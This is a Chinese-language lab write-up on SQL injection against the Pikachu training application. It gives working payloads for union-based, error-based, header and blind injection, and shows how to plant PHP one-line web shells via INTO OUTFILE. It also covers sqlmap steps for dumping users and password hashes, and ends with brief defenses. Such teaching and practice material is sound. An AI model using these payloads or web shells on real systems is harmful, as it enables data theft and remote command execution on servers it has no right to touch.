pikachu之sql注入(初级)
文章目录
地位
在owasp发布的top 10漏洞里面,注入漏洞一直是危害排名第一,其中主要指SQL Inject 漏洞。
产生原因
sql注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄露的一种漏洞。
攻击流程
注入点探测------>信息获取--------->获取权限 **tips:**见总结
注入点探测:自动方式----使用web漏洞扫描工具,自动进行注入点发现;手动方式------手工构造sql注入测试语句进行注入点发现。
信息获取:通过注入点取期望得到的数据。
**tips:**order by、函数、union语句 information_schema数据库、报错注入
tables表:table_schema,table_name
columns表:table_schema,table_name,column_name
环境信息--------数据库类型,数据库版本,操作系统版本,用户信息等;数据库信息--------数据库名称,数据库表,表字段,字段内容(加密内容破解)
获取权限:获取操作系统权限------通过数据库执行shell,上传木马
注入点类型
数字型: user_id=$id
字符型: user_id=’$id’
搜索型: text LIKE ‘%{$_GET[‘search’]}%’"
分类
1、数字型注入(post)
如上图,传参不在url中,说明是post请求
猜想后台执行的sql语句: select username,email from table_name where id =$id
$id即为传参
思路:构造payload:1 or 1=1 (遍历查询数据库中的数据)
使用Burp Suite抓包重放
点击发送,在响应栏中Render处查看
如图所示,遍历成功!
后台源码分析----------sql_id.php:
2、字符型注入(get)
如图所示:传参在url中,所以是get请求
$name = GET[‘name’]
猜想后台sql语句:select uid,email from table_name where name=’$name’
相当于select uid,email from table_name where name=‘kobe’
所以在构造payload时,要注意闭合单引号,否则构造的payload会被当做字符串来处理,从而失去效果
payload:kobe’ or 1=1# 或 kobe’ or 1=1–
补充:#和–空格 在sql语句中会注释后面的语句
输入后后端的代码中sql语句拼接为: select uid,email from table_name where name=‘kobe’ or 1=1#’
如上图所示:输入payload后成功遍历!
后台源码分析:---------------sqli_str.php:
3、搜索型注入
根据搜索的功能猜测,后台的sql语句可能用到了like模糊匹配
$name = GET[‘name’]
猜想sql语句: select username,uid,email from table_name where name like ‘%$name%’
主要思路:构造闭合
payload:aaa%’ or 1=1#
输入payload后sql语句为:select username,uid,email from table_name where name like ‘%aaa%’ or 1=1#%’
如图所示,输入payload遍历成功!
后台源码分析----------sqli_search.php
4、xx型注入
后端源码分析-----------sqli_x.php
如图所示:使用了username=(’$name’)
思路:构造闭合
payload:kobe’) or 1=1#
输入payload后sql语句:select id,email from member where username=(‘kobe’) or 1=1#’)
输入payload提交,遍历成功!
总结:
不管是什么型,重点是构造闭合,将payload的拼接到SQL语句中去执行
采用一些方法比如输入:
aaa" or 1=1#
aaa’ or 1=1#
’是否报错
aaa’ and 1=1#
aaa’ and 1=2#
等等,根据返回的结果判断输入是否拼接到了SQL语句中去执行了
tips:如果是get方式那就url提交,如果是post方式那就抓包重放。
5、sql注入手动测试-----基于union的信息获取
-
union联合查询、order by知识补充
union两端查询的字段数必须要一致,否则会报错
所以在测试中我们往往需要知道查询语句所查询的字段数,这时需要用到order by 一个数字(就是用第几行来查询)来测试
数字的选取用二分法,一直试到报错与不报错的临界值就可得知字段数
由此可知,前面查询语句查询的字段数为2。(实际确实是2---->username,pw)
select database()------获取数据库名
select user()-------------获取数据库用户
select version()---------获取数据库版本
测试过程:
先使用order by 二分法测试出主查询的字段数
回显错误
一直试到3回显错误,2回显正常,说明主查询的字段数为2
构造union查询数据库信息
ss' union select database(),user()#
ss' union select version(),user()#
总结:
在构造闭合的前提下
1、先用order by 二分法测试出主查询的字段数
2、构造union语句获取数据库信息,注意字段数要与主查询保持一致
-
mysql中 ‘information_schema’ 数据库介绍
该数据库中存放着大量重要信息
SCHEMATA表:提供了当前mysql中所有数据库的信息,show databases结果取自此表
TABLES表:提供了关于数据库中表的信息(包括视图),详细表述了某表属于哪个schema,表类型,表引擎,创建时间等信息。show tables from schemaname的结果取自此表
COLUMNS表:提供了表中列(字段)的信息。详细表述了某张表的所有列以及每个列的信息,show columns from schemaname.tablename(desc schemaname.tablename)的结果取自此表
完整步骤:
先测试是否存在sql注入
尝试构造闭合
使用union获取数据库信息
解密码的MD5值,获取管理员权限
以字符型为例
1、先测试是否存在sql注入
输入单引号报错,说明存在sql注入
2、尝试构造闭合
输入payload:aaa' or 1=1#

成功遍历!
4、使用union获取数据库信息
a、order by 二分法测试主查询的字段数
一直试到3回显错误,2回显正常,说明主查询的字段数为2
b、union查询数据库名、版本号等信息
输入payload:aaa' union select database(),user()#
**c、**union语句查询information_schema数据库中数据
#获取表名
select id,email from member where username = 'kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu';
输入payload:kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#
成功从 information_schema数据库中的tables表中 查询出数据库名和表名!
#获取字段名
select id,email from member where username = 'kobe' union select table_name,column_name from information_schema.columns where table_name='users';
输入payload:kobe' union select table_name,column_name from information_schema.columns where table_name='users'#
查询user表中的字段名

#获取内容
select id,email from member where username = 'kobe' union select username,password from users;
输入payload:kobe' union select username,password from users#
查询user表中的username,password表中的字段内容

**5、**解密码的MD5值,获取管理员权限
信息获取---------基于报错注入
常用的报错函数updatexml()、extractvalue()、floor()
基于函数报错的信息获取(select/insert/update/delete)
**技巧思路:**在mysql中使用一些指定的函数来制造报错,从而从报错的信息中获取设定的信息(会将我们传入的表达式代入先去执行,然后把结果作为报错内容输出),select/insert/update/delete都可以使用报错来获取信息。
**背景条件:**后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。
updatexml():函数时mysql对xml文档数据进行查询和修改的XPATH函数
extractvalue():函数也是mysql对xml文档数据进行查询的XPATH函数
floor():mysql中用来取整的函数
-
updatexml()函数
updatexml(xml_document, XPathstring, new_value)
第一个参数:字段名(string格式),为表中的字段名
第二个参数:XPathstring(Xpath格式的字符串),对xml文档进行定位
第三个参数:new_value,String格式,替换查找到的符合条件
其中xpath定位必须有效,否则会发生错误 tips:构造的表达式就在这里
作用:改变(查找并替换)xml文档中符合条件的节点的值
-
extractvalue()函数
extractvalue(xml_document, xpath_string)
第一个参数:xml_document是string格式,为xml文档对象的名称,文中为doc
第二个参数:xpath_string(xpath格式的字符串),对xml文档进行定位
其中xpath定位必须有效,否则会发生错误 tips:构造的表达式就在这里(报错注入与updatexml()用法一致)
作用:从目标xml中返回包含所查询值的字符串
-
floor()函数
作用:取整
要素:必须有count()、rand()、group by
字符型payload:
kobe' and (select 2 from (select count(*), concat(version(), floor(rand(0)*2))x from information_schema.tables group by x)a)#
tips:上述
(select 2 from (select count(*), concat(version(), floor(rand(0)*2))
为一个整体,用变量x代替,结果用a去遍历输入payload:
1、基于select-----------------------------------------------
查询数据库版本payload:aaa' and updatexml(1,concat(0x7e, version()), 0)#
查询数据库名payload:aaa' and updatexml(1, concat(0x7e, database()), 0)#
注:0x7e为~的十六进制,需将函数(例如version())与其拼接使用,防止回显信息被吃掉
#报错只能一次显示一行
输入payload:aaa' and updatexml(1,concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu')), 0)#
- 可以使用limit一次一次进行获取表名:
输入payload:aaa' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)), 0)#
改为limit 1,1
改为limit 2,1
改为limit 3,1
获得表名users
- 获取到表名后,获取列名的思路是一样的:
输入payload:aaa' and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name='users' limit 0,1)), 0)#
改为limit 1,1
改为limit 2,1
以此类推,遍历每个字段回显,最后查出敏感字段username,password
- 获取到列名后,再获取数据:
输入payload:kobe' and updatexml(1, concat(0x7e, (select username from users limit 0,1)), 0)#
查出用户名为admin
输入payload:kobe' and updatexml(1, concat(0x7e, (select password from users where username='admin' limit 0,1)), 0)#
查出对应密码的md5值为上图。
总结:
1、使用and语句+报错函数updatexml()等
2、注意为防止回显的数据被吃掉,要使用concat(0x7e, (查询语句))
3、若只能回显一行,那就要用limit 0,1一个一个去遍历
(先获取information.tables中的table_name,再获取information.column中的column_name,再获取对应字段的数据)
2、基于insert--------------------------------------------
一般存在于注册页面,用于将数据插入到数据库中
payload:xiamo' or updatexml(1,concat(0x7e,database()),0) or'
插入payload后sql语句: insert into member(username,pw,sex,phonenum,address,email) values('xiamo' or updatexml(1,concat(0x7e,database()),0) or'','123465','111','1345655','beijing','sdf');
输入payload后:

成功爆出数据库名!
3、基于update-------------------------------
一般用于更改数据的页面
输入payload:xiamo' or updatexml(1,concat(0x7e,database()),0) or'
输入payload后的sql语句:update member set sex='xiamo' or updatexml(1,concat(0x7e,database()),0) or'',phonenum='55555',address='8888',email='2222' where username='1111'


成功爆出数据库名!
4、基于delete--------------------------------
输入payload:1 or updatexml(1,concat(0x7e,database()),0)
tips:因为是字符型,所以不加’
输入payload后的sql语句:delete from message where id=1 or updatexml(1,concat(0x7e,database()),0)

用burpsuite抓包重放:


因为是url提交id,所以要对payload部分进行url编码(选中右键菜单栏中)

点击发送,如下图成功爆出数据库名!
源码分析------------------------sqli_del.php:
用get方式将id传入后台,直接拼接到delete语句中
6、Http Header注入
产生原因:有时候后台开发人员为了验证客户端头信息(比如常用的cookie验证),或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等等。会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于http header的SQL注入漏洞。

猜想:它的功能可能是获取了浏览器的http header信息并进行SQL操作
用burpsuite抓包修改http header字段信息

输入’测试一下
如图所示,出现报错,说明此处存在SQL注入漏洞。
猜想:它可能获取http header信息之后,用insert语句插入到数据库中
于是构造payload:firefox' or updatexml(1,concat(0x7e,database()),0) or'
输入payload测试
如上图所示,成功爆出数据库名!
7、盲注
**何为盲注?**后台使用了错误消息屏蔽的方法(比如@)屏蔽了报错,此时无法根据报错信息来进行注入的判断。
based boolean---------------
总结:
1、没有报错信息
2、不管是正确的输入,还是错误的输入,都只显示两种情况(可以认为是0或1,真或假)
3、在正确的输入下,输入and 1=1/and 1=2发现可以判断
4、若存在boolean盲注,则将测试的信息结果转化为ascii码,构造不等式(或等式)判断,求出信息字符串。
过程:
测试是否存在盲注
'

kobe' or 1=1#

kobe' and 1=1#

回显正常,说明and 1=1已被拼接到sql语句中执行了,所以存在sql注入
kobe' and 1=2#

回显与and 1=1不同,所以存在boolean盲注
获取信息
select length(database())>8
测试数据库名长度![]()
说明数据库名的长度为7
select ascii(substr(database(),1,1))>113
tips:substr(str,a,b) 取str中的字符从第a个开始,取b个![]()
依次类推因为数据库名长度为7,所以要重复上述过程7次,最总获取数据库名。是不是非常麻烦,我勒个去去!
输入payload:kobe' and ascii(substr(database(),1,1))>113#

kobe' and ascii(substr(database(),1,1))=112#

说明数据库名第一个字符为p。
获取表名的sql语句插入到payload中(select table_name from information_schema.tables where table_schema=database() limit 0,1)
payload:kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>113#
与上述方法一样,一个一个试出表名,以及当前数据库的所有表名。
based time----------------
输入测试payload:kobe' and sleep(5)#

如图所示页面返回时间延迟5s,说明sleep(5)在后台sql中被拼接执行。
构造payload:kobe' and if((substr(database(),1,1))='a',sleep(5),null)#
用于测试数据库名第一个字符是否为a
如图没有延迟5s,说明第一个字符不是a。
更改为p:kobe' and if((substr(database(),1,1))='p',sleep(5),null)#
延迟5s,说明第一个字符为p。
依次类推,测试出完整的数据库名。
8、sql注入远程控制
-
一句话木马
一种短小而精悍的木马客户端,隐蔽性好,且功能强大
PHP:
<?php @eval($_POST['chopper']);?>
ASP:
<%eval request("chopper")%>
ASP.NET:
<%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>
-
如何通过into outfile写入恶意代码并控制OS
select 1,2 into outfile "/var/www/html/1.txt"
into outfile 将select的结果写入到指定目录的1.txt中
在一些没有回显的注入中可以使用into outfile将结果写入到指定文件,然后访问获取
前提条件:
1、需要知道远程目录
2、需要远程目录有写权限
3、需要数据库开启了secure_file_priv
通过更改my.cnf配置文件实现
payload:kobe' union select "<?php @eval($_GET['test'])?>",2 into outfile "/var/www/html/1.php"
将一句话木马(远程php代码执行)写入到指定文件下的1.php文件中(若没有1.php则自动新建)
payload:kobe' union select "<?php system($_GET['cmd'])?>",2 into outfile "/var/www/html/2.php"
远程操作系统命令执行
输入以上两个payload后,木马就上传成功,直接在url中传参便可利用
9、sql注入中的暴力破解
因为有时用户没有权限方位information_schema数据库获得信息,或者其他数据库没有提供information_schema数据库实例
此时,我们需要使用暴力破解猜解表名或列名
payload:kobe' and exists(select * from aa)#
猜解表名
payload:kobe' and exists(select id from users)#
猜解列名
通过对变量设置字典来暴力猜解
用burpsuite的intruder模块比较方便
SQL注入防范措施
两手抓,两手都要硬
代码层面
1、对输入进行严格的转义和过滤 (过滤多采用黑名单,但由于技术更新快,所以不推荐)
2、使用预处理和参数化(推荐)
网络层面
1、通过WAF设备启用防SQL Inject注入策略(类似于防护系统)
在web应用服务器之前部署waf(web application firewall),识别payload并拦截(特征库)
2、云端防护(360网站卫士,阿里云盾等)
相当于云waf,用户访问服务器时dns先解析到云端,云端集群过滤清洗后再转发给web服务器
转义举例:
过滤举例:(黑名单(有缺陷))
str_replace("%","",$_POST['username'])
把post里面的数据中的%替换为空
PDO预处理+参数化:
PDO会先将带有占位符(?)的SQL语句执行进行预处理,再将参数以索引数组的方式传进去,就防止了输入拼接sql语句
Sqlmap
Automatic SQL injection and database takeover tool
第一步:
-u "xxx" --cookie= "yyy"
//带上cookie对url进行注入探测
第二步:
-u "xxx" --cookie= "yyy" -current-db
//对数据库名进行获取
第三步:
-u "xxx" --cookie= "yyy" -D pikachu --tables
//对数据库的表名进行枚举
第四步:
-u "xxx" --cookie= "yyy" -D pikachu -T users --columns
//对pikachu库里面的名为users的表的列名进行枚举
第五步:
-u "xxx" -D pikachu -T users -C username,password -dump
//获取字段username,password内容
最后对password的md5值进行破解
-----------------------------------------------------------------------------------------------------------------
2021年2月28日更新 关于floor()报错注入原理